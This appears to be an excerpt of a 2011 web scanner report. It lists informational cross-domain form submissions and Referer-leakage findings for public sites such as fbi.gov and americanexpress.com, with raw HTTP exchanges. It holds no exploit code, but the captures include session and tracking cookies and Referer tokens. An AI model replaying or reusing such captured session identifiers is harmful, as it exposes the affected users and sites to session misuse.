btnSubmit
btnSubmit

Request

Response

HTTP/1.1 200 OK
Cache-Control: private
Date: Sat, 05 Feb 2011 21:49:37 GMT
Content-Type: text/html
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Set-Cookie: ASPSESSIONIDCQSSDRQQ=LPAPMINCHLCMAFPPCLPLJAFD; path=/
Vary: Accept-Encoding
Content-Length: 35585

<html>
<head><link rel="shortcut icon" href="./favicon.ico" type="image/vnd.microsoft.icon">
<meta name="author-site" content="oandp.com">
<title>Becker Orthopedic - Leaders in Orthotics Componentr
...[SNIP]...
<TD valign=top align=center>

<FORM NAME=RegistrationForm ACTION="http://internetmailmanager.com/s/svrg.asp" METHOD=POST onSubmit="return Validate()">

<INPUT TYPE=hidden NAME=a VALUE="47LEMJ97M6PAE9PL79M8D5P">
...[SNIP]...

19.15. https://www.box.net/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.box.net
Path:	/

Issue detail

The page contains a form which POSTs data to the domain www.salesforce.com. The form contains the following fields:

first_name
email
phone
submit1

Request

GET / HTTP/1.1
Host: www.box.net
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

19.16. http://www.cssplay.co.uk/menus/final_drop.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.cssplay.co.uk
Path:	/menus/final_drop.html

Issue detail

The page contains a form which POSTs data to the domain www.paypal.com. The form contains the following fields:

cmd
hosted_button_id
submit

Request

GET /menus/final_drop.html HTTP/1.1
Host: www.cssplay.co.uk
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

19.17. http://www.eweek.com/c/s/Videos/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.eweek.com
Path:	/c/s/Videos/

Issue detail

The page contains a form which POSTs data to the domain www.omeda.com. The form contains the following fields:

FNAME
LNAME
TITLE
Company
ADDRESS2
CITY
STATE
STATE
STATE
STATE
STATE
STATE
STATE
STATE
STATE
STATE
STATE
STATE
STATE
STATE
STATE
STATE
STATE
STATE
STATE
STATE
STATE
STATE
STATE
STATE
STATE
STATE
STATE
STATE
STATE
STATE
STATE
STATE
STATE
STATE
STATE
STATE
STATE
STATE
STATE
STATE
STATE
STATE
STATE
STATE
STATE
STATE
STATE
STATE
STATE
STATE
STATE
STATE
STATE
STATE
STATE
STATE
STATE
STATE
STATE
STATE
STATE
STATE
STATE
STATE
STATE
STATE
STATE
STATE
STATE
STATE
STATE
ZIPCODE
EMAIL_ADDRESS
APPLY

Request

GET /c/s/Videos/ HTTP/1.1
Host: www.eweek.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: nginx/0.7.65
Date: Sun, 06 Feb 2011 16:07:02 GMT
Content-Type: text/html
Connection: close
X-Powered-By: PHP/5.1.6
Set-Cookie: sessioncookie=e6f3c55c091c3db9d4c56a2652e95947; expires=Mon, 06-Feb-2012 16:07:01 GMT; path=/
Set-Cookie: mosvisitor=1
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Last-Modified: Sun, 06 Feb 2011 16:07:01 GMT
Cache-Control: no-store, no-cache, must-revalidate
Cache-Control: post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 79312

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>

<title>Videos - News & Reviews - eWeek.com</title>
<meta name="medium" content="news" />
<meta name="title" content="Vid
...[SNIP]...

<form name="order" id="Form1" onsubmit="window.open('','form_results','width=700,height=600,scrollbars,status');" action="http://www.omeda.com/ziff/ewk/ewk.cgi?p=ewkbanner
" method="post" target="form_results">
<div id="hp_ad_right_column_1">
...[SNIP]...

19.18. http://www.fbi.gov/about-us/investigate/cyber/cyber previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.fbi.gov
Path:	/about-us/investigate/cyber/cyber

Issue detail

The page contains a form which POSTs data to the domain service.govdelivery.com. The form contains the following fields:

function
origin
caller
code
partner_id
category_id
document_id
edition_id
format
date
time
mailsender
refreshOpener
nextPage
javascript_disabled
login
button

Request

GET /about-us/investigate/cyber/cyber HTTP/1.1
Host: www.fbi.gov
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Cache-Control: max-age=900
Content-Length: 37989
Content-Language: en-us
Content-Type: text/html;charset=utf-8
Server: HTML
Date: Sat, 05 Feb 2011 22:03:23 GMT
Expires: Sat, 05 Feb 2011 22:18:23 GMT
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Con
...[SNIP]...
<div id="fbi-alerts">
<form name="login" action="https://service.govdelivery.com/service/action/authenticate" method="post" target="_parent" id="login">
<label for="login">
...[SNIP]...

19.19. http://www.fbi.gov/nipc/welcome.htm previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.fbi.gov
Path:	/nipc/welcome.htm

Issue detail

The page contains a form which POSTs data to the domain service.govdelivery.com. The form contains the following fields:

function
origin
caller
code
partner_id
category_id
document_id
edition_id
format
date
time
mailsender
refreshOpener
nextPage
javascript_disabled
login
button

Request

GET /nipc/welcome.htm HTTP/1.1
Host: www.fbi.gov
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

19.20. http://www.hyves.nl/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.hyves.nl
Path:	/

Issue detail

The page contains a form which POSTs data to the domain secure.hyves.org. The form contains the following fields:

auth_currentUrl
auth_username
auth_password
auth_autologin
login_initialPresence
btnLogin

Request

GET / HTTP/1.1
Host: www.hyves.nl
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

19.21. https://www.infosecisland.com/blogview/5213-Splunk-4-Users-Review.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.infosecisland.com
Path:	/blogview/5213-Splunk-4-Users-Review.html

Issue detail

The page contains a form which POSTs data to the domain www.paypal.com. The form contains the following fields:

cmd
hosted_button_id
submit

Request

GET /blogview/5213-Splunk-4-Users-Review.html HTTP/1.1
Host: www.infosecisland.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

19.22. http://www.kledy.de/impressum.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.kledy.de
Path:	/impressum.php

Issue detail

The page contains a form which POSTs data to the domain www.paypal.com. The form contains the following fields:

cmd
hosted_button_id
submit

Request

Response

19.23. http://www.linkfixerplus.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.linkfixerplus.com
Path:	/

Issue detail

The page contains a form which POSTs data to the domain linktek.com. The form contains the following fields:

request
email
submit

Request

GET / HTTP/1.1
Host: www.linkfixerplus.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sun, 06 Feb 2011 16:01:49 GMT
Server: Apache/2.2.10 (Unix) mod_ssl/2.2.10 OpenSSL/0.9.8i DAV/2 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635
X-Powered-By: PHP/5.2.6
Connection: close
Content-Type: text/html
Content-Length: 33322

<HTML><HEAD>
<link rel="alternate" type="application/rss+xml" title="RSS Feed for LinkTek.com" href="rss/rss.xml"
/>


<script type="text/javascript">var addthis
...[SNIP]...
</div>
<form name="newsletter" onSubmit="return checkWhitePaper(this)" action="http://LinkTek.com/process/proc-request.php" method="post">
<div style="font-family: Verdana, Arial, Helvetica, sans-serif; font-size:10px; margin-bottom:5px;">
...[SNIP]...

19.24. http://www.melsungen-online.de/Shopping/gutschein_gratisartikel.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.melsungen-online.de
Path:	/Shopping/gutschein_gratisartikel.php

Issue detail

The page contains a form which POSTs data to the domain redirect2.mailingwork.de. The form contains the following fields:

eMail
formtype
customerID
Liste[1]

Request

GET /Shopping/gutschein_gratisartikel.php HTTP/1.1
Host: www.melsungen-online.de
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sun, 06 Feb 2011 16:09:12 GMT
Server: Apache
X-Powered-By: PHP/5.2.8
Connection: close
Content-Type: text/html
Content-Length: 69466

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"><HTML><HEAD><TITLE>Gutschein und Gutscheincode 2010 / Melsungen-Online.de / Kostenlos</TITLE><META HTTP-EQUIV="Content-Type" CONTENT="tex
...[SNIP]...
<TD CLASS="TextObject"><form name="subscribe" id="subscribe" action="http://redirect2.mailingwork.de/addabo.php" method="post" enctype="multipart/form-data">
<table border="0" cellpadding="3" cellspacing="0">
...[SNIP]...

19.25. http://www.mittelstandsblog.de/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.mittelstandsblog.de
Path:	/

Issue detail

The page contains a form which POSTs data to the domain just4business.de. The form contains the following fields:

Newsletter

Request

GET / HTTP/1.1
Host: www.mittelstandsblog.de
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

19.26. http://www.mittelstandsblog.de/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.mittelstandsblog.de
Path:	/

Issue detail

The page contains a form which POSTs data to the domain cyberpress.de. The form contains the following fields:

mitschreiben

Request

GET / HTTP/1.1
Host: www.mittelstandsblog.de
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

19.27. http://www.mittelstandsblog.de/2011/02/gfk-prognose-deutsche-2011-noch-konsumfreudiger/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.mittelstandsblog.de
Path:	/2011/02/gfk-prognose-deutsche-2011-noch-konsumfreudiger/

Issue detail

The page contains a form which POSTs data to the domain cyberpress.de. The form contains the following fields:

mitschreiben

Request

GET /2011/02/gfk-prognose-deutsche-2011-noch-konsumfreudiger/ HTTP/1.1
Host: www.mittelstandsblog.de
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sun, 06 Feb 2011 16:09:20 GMT
Server: Apache
X-Powered-By: PHP/5.2.6-1+lenny9
X-Pingback: http://www.mittelstandsblog.de/xmlrpc.php
Link: <http://www.mittelstandsblog.de/?p=53985>; rel=shortlink
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 35262

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">

<head profile="http://gmpg.org
...[SNIP]...
<div style="float: right; margin: .5em -.5em 1em 0">
<form action="http://cyberpress.de/wirtschaft-zum-mitschreiben/" method="post">
<input type="submit" name="mitschreiben" value="Text hinzufügen" />
...[SNIP]...

19.28. http://www.mittelstandsblog.de/2011/02/gfk-prognose-deutsche-2011-noch-konsumfreudiger/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.mittelstandsblog.de
Path:	/2011/02/gfk-prognose-deutsche-2011-noch-konsumfreudiger/

Issue detail

The page contains a form which POSTs data to the domain just4business.de. The form contains the following fields:

Newsletter

Request

Response

HTTP/1.1 200 OK
Date: Sun, 06 Feb 2011 16:09:20 GMT
Server: Apache
X-Powered-By: PHP/5.2.6-1+lenny9
X-Pingback: http://www.mittelstandsblog.de/xmlrpc.php
Link: <http://www.mittelstandsblog.de/?p=53985>; rel=shortlink
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 35262

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">

<head profile="http://gmpg.org
...[SNIP]...
<div style="float: right; margin: .5em -.5em 0 0">
<form action="http://just4business.de/newsletter/" method="post">
<input type="submit" name="Newsletter" value="Newsletter" />
...[SNIP]...

19.29. http://www.retailmenot.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.retailmenot.com
Path:	/

Issue detail

The page contains a form which POSTs data to the domain retailmenot.us1.list-manage.com. The form contains the following fields:

Request

GET / HTTP/1.1
Host: www.retailmenot.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sun, 06 Feb 2011 16:11:14 GMT
Server: Apache/2.0.52 (CentOS)
X-Powered-By: PHP/4.3.9
Expires: Sun, 06 Feb 2011 16:34:37 GMT
Last-Modified: Sun, 06 Feb 2011 15:34:37 GMT
Pragma: public
Cache-Control: max-age=3600
Etag: fa2da427fb3ab837f3fefe5eced074df
X-Cache: hit 0.007
Content-Length: 40403
Connection: close
Content-Type: text/html

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en">
<head>
...[SNIP]...
<div class="panel" id="newsletterSignup">
<form action="http://retailmenot.us1.list-manage.com/subscribe/post?u=906594042ce8669084b92c572&id=0f4f7807d2" method="post" id="mc-embedded-subscribe-form" name="mc-embedded-subscribe-form" class="validate" target="_blank">
<input type="text" value="Enter your email address" name="EMAIL" id="mce-EMAIL" onclick="this.value=''" />
...[SNIP]...

19.30. http://www.stunnel.org/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.stunnel.org
Path:	/

Issue detail

The page contains a form which POSTs data to the domain www.paypal.com. The form contains the following fields:

cmd
business
item_number
no_shipping
no_note
currency_code
tax
lc
bn
submit

Request

GET / HTTP/1.1
Host: www.stunnel.org
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:19:48 GMT
Server: Apache/2.2.16 (Debian)
X-Powered-By: PHP/5.3.3-7
Content-Length: 4894
Connection: close
Content-Type: text/html

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<title>stunnel - multiplatform SSL tunneling proxy</title>
<link rel="sho
...[SNIP]...
<center>
<form action="https://www.paypal.com/cgi-bin/webscr" method="post">
<input type="hidden" name="cmd" value="_xclick">
...[SNIP]...

20. Cross-domain Referer leakage previous next
There are 242 instances of this issue:

http://ad.doubleclick.net/adi/N553.158901.DATAXU/B4970757.11
http://ad.doubleclick.net/adj/entzd.base/itmanagement
http://ad.doubleclick.net/adj/entzd.base/itmanagement
http://ad.doubleclick.net/adj/entzd.base/itmanagement
http://ad.doubleclick.net/adj/entzd.base/itmanagement
http://ad.doubleclick.net/adj/entzd.base/itmanagement
http://ad.doubleclick.net/adj/entzd.base/itmanagement
http://ad.doubleclick.net/adj/oiq.man.homeappliance/
http://answers.splunk.com/questions/ask
https://axptravel.americanexpress.com/consumertravel/travel.do
http://cdn.w55c.net/i/0R8lWflQ0f_326769041.html
https://cibng.ibanking-services.com/cib/CEBMainServlet/Login
http://cm.g.doubleclick.net/pixel
http://cm.g.doubleclick.net/pixel
http://corp.americanexpress.com/gcs/cards/
http://corp.americanexpress.com/gcs/cards/land/compare.aspx
http://coverall.splunk.com/themes/splunk_com/scripts/js/global.js
http://d3g75t6gdfoqd0.cloudfront.net/version/7.01/js/min/main.js
http://dslshop.vodafone.de/eshop/pv/97444194
http://dws1.etoro.com/ApplicationServices/Calendar/
https://ebus.ota.org/default.aspx
http://ecal.forexpros.com/e_cal.php
http://fls.doubleclick.net/activityi
http://fls.doubleclick.net/activityi
http://googleads.g.doubleclick.net/pagead/ads
http://googleads.g.doubleclick.net/pagead/ads
http://googleads.g.doubleclick.net/pagead/ads
http://googleads.g.doubleclick.net/pagead/ads
http://googleads.g.doubleclick.net/pagead/ads
http://googleads.g.doubleclick.net/pagead/ads
http://googleads.g.doubleclick.net/pagead/ads
http://googleads.g.doubleclick.net/pagead/ads
http://googleads.g.doubleclick.net/pagead/ads
http://googleads.g.doubleclick.net/pagead/ads
http://googleads.g.doubleclick.net/pagead/ads
http://googleads.g.doubleclick.net/pagead/ads
http://googleads.g.doubleclick.net/pagead/ads
http://googleads.g.doubleclick.net/pagead/ads
http://googleads.g.doubleclick.net/pagead/ads
http://googleads.g.doubleclick.net/pagead/ads
http://googleads.g.doubleclick.net/pagead/ads
http://googleads.g.doubleclick.net/pagead/ads
http://googleads.g.doubleclick.net/pagead/ads
http://googleads.g.doubleclick.net/pagead/ads
http://googleads.g.doubleclick.net/pagead/ads
http://googleads.g.doubleclick.net/pagead/ads
http://googleads.g.doubleclick.net/pagead/ads
http://googleads.g.doubleclick.net/pagead/ads
http://googleads.g.doubleclick.net/pagead/ads
http://googleads.g.doubleclick.net/pagead/ads
http://googleads.g.doubleclick.net/pagead/ads
http://googleads.g.doubleclick.net/pagead/ads
http://googleads.g.doubleclick.net/pagead/ads
http://googleads.g.doubleclick.net/pagead/ads
http://googleads.g.doubleclick.net/pagead/ads
http://googleads.g.doubleclick.net/pagead/ads
http://googleads.g.doubleclick.net/pagead/ads
http://googleads.g.doubleclick.net/pagead/ads
http://googleads.g.doubleclick.net/pagead/ads
http://googleads.g.doubleclick.net/pagead/ads
http://googleads.g.doubleclick.net/pagead/ads
http://googleads.g.doubleclick.net/pagead/ads
http://googleads.g.doubleclick.net/pagead/ads
http://googleads.g.doubleclick.net/pagead/ads
http://googleads.g.doubleclick.net/pagead/ads
http://googleads.g.doubleclick.net/pagead/ads
http://googleads.g.doubleclick.net/pagead/ads
http://googleads.g.doubleclick.net/pagead/ads
http://googleads.g.doubleclick.net/pagead/ads
http://googleads.g.doubleclick.net/pagead/ads
http://googleads.g.doubleclick.net/pagead/ads
http://googleads.g.doubleclick.net/pagead/ads
http://googleads.g.doubleclick.net/pagead/ads
http://googleads.g.doubleclick.net/pagead/ads
http://googleads.g.doubleclick.net/pagead/ads
http://googleads.g.doubleclick.net/pagead/ads
http://googleads.g.doubleclick.net/pagead/ads
https://home.americanexpress.com/home/corporations.shtml
http://itunes.apple.com/us/app/orthosupersite/id401876377
http://jqueryui.com/themeroller/
http://linkhelp.clients.google.com/tbproxy/lh/fixurl
http://lovely-faces.com/index.php
http://lovely-faces.com/index.php
http://lovely-faces.com/index.php
http://lovely-faces.com/index.php
http://lovely-faces.com/index.php
http://lovely-faces.com/index.php
http://lovely-faces.com/index.php
http://lovely-faces.com/index.php
http://lovely-faces.com/index.php
http://lovely-faces.com/index.php
http://lovely-faces.com/index.php
http://lovely-faces.com/index.php
http://lovely-faces.com/index.php
http://lovely-faces.com/index.php
http://lovely-faces.com/index.php
http://lovely-faces.com/index.php
http://lovely-faces.com/index.php
http://lovely-faces.com/index.php
http://lovely-faces.com/index.php
http://lovely-faces.com/index.php
http://lovely-faces.com/index.php
http://lovely-faces.com/index.php
http://lovely-faces.com/index.php
http://lovely-faces.com/index.php
http://lovely-faces.com/index.php
http://lovely-faces.com/index.php
http://lovely-faces.com/index.php
http://lovely-faces.com/index.php
http://lovely-faces.com/index.php
http://lovely-faces.com/index.php
http://lovely-faces.com/index.php
http://lovely-faces.com/index.php
http://lovely-faces.com/index.php
http://lovely-faces.com/index.php
http://lovely-faces.com/index.php
http://lovely-faces.com/index.php
http://lovely-faces.com/index.php
http://lovely-faces.com/index.php
http://lovely-faces.com/index.php
http://lovely-faces.com/index.php
http://lovely-faces.com/index.php
http://lovely-faces.com/index.php
http://lovely-faces.com/index.php
http://lovely-faces.com/index.php
http://lovely-faces.com/index.php
http://lovely-faces.com/index.php
http://lovely-faces.com/index.php
http://lovely-faces.com/index.php
http://lovely-faces.com/index.php
http://lovely-faces.com/index.php
http://lovely-faces.com/index.php
http://lovely-faces.com/index.php
http://lovely-faces.com/index.php
http://lovely-faces.com/index.php
http://lovely-faces.com/index.php
http://lovely-faces.com/index.php
http://lovely-faces.com/index.php
http://lovely-faces.com/index.php
http://lovely-faces.com/index.php
http://lovely-faces.com/index.php
http://lovely-faces.com/index.php
http://lovely-faces.com/index.php
http://lovely-faces.com/index.php
http://lovely-faces.com/index.php
http://lovely-faces.com/index.php
http://lovely-faces.com/index.php
http://lovely-faces.com/index.php
http://lovely-faces.com/index.php
http://lovely-faces.com/index.php
http://lovely-faces.com/index.php
http://lovely-faces.com/index.php
http://mm.chitika.net/track
http://personalsavings.americanexpress.com/
http://personalsavings.americanexpress.com/cd-product.html
http://personalsavings.americanexpress.com/faq.html
http://personalsavings.americanexpress.com/open-account.html
http://personalsavings.americanexpress.com/product-comparison.html
http://personalsavings.americanexpress.com/savings-product.html
http://rmncdn.com/widget_cdn.html
http://searchnet.chitika.net/audience
http://software.intel.com/en-us/articles/intel-cloud-builders/
http://software.intel.com/sites/oss/
http://spongecell.com/api/widgets/clickthrough/263365
http://statistics.wibiya.com/SetToolbarLoad.php
http://tbe.taleo.net/NA7/ats/careers/jobSearch.jsp
http://redacted/MRT/iview/264255445/direct
http://redacted/MRT/iview/264255445/direct
http://redacted/MRT/jview/267859374/direct
http://whitepixel.com/backend/remote/
https://www.aeprepaid.com/index.cfm
https://www.americanexpress.com/airlines-credit-card/
https://www.americanexpress.com/credit-card-rewards/
https://www.americanexpress.com/gift/giftcardslanding.shtml
https://www.americanexpress.com/gold-card/
https://www.americanexpress.com/no-annual-fee-credit-cards/
http://www.au2m8.com/v/
http://www.au2m8.com/v/
http://www.facebook.com/pages/Orthopaedic-Trauma-Association/212018968439
http://www.facebook.com/plugins/like.php
http://www.facebook.com/plugins/likebox.php
http://www.facebook.com/plugins/likebox.php
http://www.facebook.com/plugins/likebox.php
http://www.facebook.com/plugins/likebox.php
http://www.facebook.com/plugins/likebox.php
http://www.filetransit.com/demo.php
http://www.filetransit.com/download.php
http://www.filetransit.com/files.php
http://www.filetransit.com/freeware.php
http://www.filetransit.com/screenshot.php
http://www.filetransit.com/view.php
http://www.godaddy.com/default.aspx
http://www.google.com/url
http://www.google.com/url
http://www.google.com/url
http://www.google.com/url
http://www.google.com/url
https://www.google.com/adsense/support/bin/request.py
http://www.kledy.co.uk/
http://www.kledy.de/bookmarks.php
http://www.kledy.es/
http://www.kledy.it/
http://www.kledy.us/
http://www.linkedin.com/groupInvitation
https://www.openforum.com/
http://www.othawaii.com/default.asp
http://www.owneriq.com/ownership-targeting
http://www.retailmenot.com/gui/widget.html
http://www.splunk.com/
http://www.splunk.com/download
http://www.splunk.com/videos
http://www.splunk.com/view/contact-us/SP-CAAAAH7
http://www.vibrantmedia.com/whatisIntelliTXT.asp
http://www.whselfinvest.de/banner/whsbanner.php
http://www.wyanokeis.com/create.aspx
http://www201.americanexpress.com/business-credit-cards/business-card-compare/business-travel-rewards-credit-cards/29789
http://www201.americanexpress.com/business-credit-cards/business-credit-cards
http://www201.americanexpress.com/business-credit-cards/business-solutions/overview
http://www201.americanexpress.com/business-credit-cards/find-business-credit-cards
http://www201.americanexpress.com/business-credit-cards/see-all-business-credit-cards
http://www201.americanexpress.com/getthecard/
http://www201.americanexpress.com/getthecard/home
https://www201.americanexpress.com/MobileWeb/index.jsp
https://www209.americanexpress.com/merchant/marketing-data/pages/home
https://www209.americanexpress.com/merchant/marketing-data/pages/marketingprograms
https://www209.americanexpress.com/merchant/marketing-data/pages/reportsandtrends
http://www212.americanexpress.com/dsmlive/dsm/dom/us/en/legaldisclosures/websiterulesandregulations.do
https://www212.americanexpress.com/dsmlive/dsm/OnlineSelf-Services/ConsumerLanding.do
https://www212.americanexpress.com/dsmlive/dsm/dom/us/en/feefreeservices/pages/globalassist_allccsg_shareddetails.do
https://www212.americanexpress.com/dsmlive/dsm/dom/us/en/fraudprotectioncenter/fraudprotectioncenter_homepage.do
https://www212.americanexpress.com/dsmlive/dsm/dom/us/en/personal/cardmember/additionalproductsandservices/giftcardsandtravelerscheques/pass_markup_homepage.do
https://www212.americanexpress.com/dsmlive/dsm/dom/us/en/personal/cardmember/additionalproductsandservices/giftcardsandtravelerscheques/travelerschequesandforeigncurrency.do
https://www212.americanexpress.com/dsmlive/dsm/dom/us/en/privacystatement/internetprivacystatement.do
https://www212.americanexpress.com/dsmlive/dsm/dom/us/en/smallbusiness/businesstravel/businesstravel.do
https://www212.americanexpress.com/dsmlive/dsm/dom/us/merchants/nonsecure/acceptthecard.do
https://www212.americanexpress.com/dsmlive/dsm/dom/us/merchants/nonsecure/manageyouraccount.do
https://www212.americanexpress.com/dsmlive/dsm/int/contactus/personalsavings.do
https://www212.americanexpress.com/dsmlive/dsm/int/fxip/fxinternationalpayments.do
https://www212.americanexpress.com/dsmlive/dsm/int/us/en/cmaproductspage.do
https://www295.americanexpress.com/entertainmentaccess/home.do
https://www295.americanexpress.com/premium/credit-card-travel-insurance/home.do
http://www7.aaos.org/education/courses/course_detail.aspx

Issue background

When a web browser makes a request for a resource, it typically adds an HTTP header, called the "Referer" header, indicating the URL of the resource from which the request originated. This occurs in numerous situations, for example when a web page loads an image or script, or when a user clicks on a link or submits a form.

If the resource being requested resides on a different domain, then the Referer header is still generally included in the cross-domain request. If the originating URL contains any sensitive information within its query string, such as a session token, then this information will be transmitted to the other domain. If the other domain is not fully trusted by the application, then this may lead to a security compromise.

You should review the contents of the information being transmitted to other domains, and also determine whether those domains are fully trusted by the originating application.

Today's browsers may withhold the Referer header in some situations (for example, when loading a non-HTTPS resource from a page that was loaded over HTTPS, or when a Refresh directive is issued), but this behaviour should not be relied upon to protect the originating URL from disclosure.

Note also that if users can author content within the application then an attacker may be able to inject links referring to a domain they control in order to capture data from URLs used within the application.

Issue remediation

The application should never transmit any sensitive information within the URL query string. In addition to being leaked in the Referer header, such information may be logged in various locations and may be visible on-screen to untrusted parties.

20.1. http://ad.doubleclick.net/adi/N553.158901.DATAXU/B4970757.11 previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adi/N553.158901.DATAXU/B4970757.11

Issue detail

The page was loaded from a URL containing a query string:

http://ad.doubleclick.net/adi/N553.158901.DATAXU/B4970757.11;sz=468x60;pc=[TPAS_ID];ord=[timestamp]?

The response contains the following links to other domains:

http://s0.2mdn.net/2179194/1-ps_genericV5_468x60_30k.jpg
http://s0.2mdn.net/879366/flashwrite_1_2.js

Request

GET /adi/N553.158901.DATAXU/B4970757.11;sz=468x60;pc=[TPAS_ID];ord=[timestamp]? HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://cdn.w55c.net/i/0R8lWflQ0f_326769041.html?rtbhost=rts-rr13.sldc.dataxu.net&btid=NEQ0REM1Q0QwMDA0QTNFOTBBRTU3QjE0RTUzMDI5NkN8ZDA3NTFmYzItZjJkNS00NTY4LTlmMDMtMjJjYjVmZDA3NTU4fDEyOTY5NDI1NDI5NzF8MXwwRnJrVmZKY3hBfDBSOGxXZmxRMGZ8TURvMGxWVzRKS0RNNkxyVkdqdDV2ZUtjdUJINjNiV1F8&ei=GOOGLE_CONTENTNETWORK&wp_exchange=TU3FzQAEo-kK5XsU5TApbEC2JVNdMc7sOaGvXw&euid=Q0FFU0VDSUFxLVBVbW8yVVJpZkRFMzFLLTJB&slotid=MQ&fiu=MEZya1ZmSmN4QQ&ciu=MFI4bFdmbFEwZg&reqid=NEQ0REM1Q0QwMDA0QTNFOTBBRTU3QjE0RTUzMDI5NkM&ccw=SUFCNyMwLjB8SUFCMiMwLjB8SUFCMyMwLjB8SUFCNyMwLjB8SUFCMiMwLjB8SUFCMyMwLjA&epid=&bp=4400&dv=&dm=&dc=&os=&scres=&gen=&age=&zc=NzUyMDc&s=http%3A%2F%2Fwww.orthougm.com%2F&refurl=
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=c653243310000d9|2818894/957634/15009,2409535/850532/15008,189445/526157/15008,1352495/437351/15008|t=1294099968|et=730|cs=gfdmbifc

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: text/html
Content-Length: 4698
Cache-Control: no-cache
Pragma: no-cache
Date: Sat, 05 Feb 2011 21:49:03 GMT
Expires: Sat, 05 Feb 2011 21:49:03 GMT
Discarded: true

<html><head><title>Advertisement</title></head><body bgcolor=#ffffff marginwidth=0 marginheight=0 leftmargin=0 topmargin=0><script src="http://s0.2mdn.net/879366/flashwrite_1_2.js"></script>
...[SNIP]...
